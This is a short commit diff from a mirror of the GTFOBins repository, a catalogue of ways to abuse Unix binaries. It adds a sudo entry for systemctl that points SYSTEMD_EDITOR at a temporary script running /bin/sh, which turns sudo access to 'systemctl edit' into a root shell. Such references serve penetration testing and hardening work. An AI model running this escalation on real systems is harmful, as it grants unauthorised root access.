mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
parent
66655322f3
commit
aa08187718
@ -11,6 +11,11 @@ functions:
|
|||||||
./systemctl link $TF
|
./systemctl link $TF
|
||||||
./systemctl enable --now $TF
|
./systemctl enable --now $TF
|
||||||
sudo:
|
sudo:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo /bin/sh >$TF
|
||||||
|
chmod +x $TF
|
||||||
|
sudo SYSTEMD_EDITOR=$TF systemctl edit system.slice
|
||||||
- code: |
|
- code: |
|
||||||
TF=$(mktemp).service
|
TF=$(mktemp).service
|
||||||
echo '[Service]
|
echo '[Service]
|
||||||
|
Loading…
Reference in New Issue
Block a user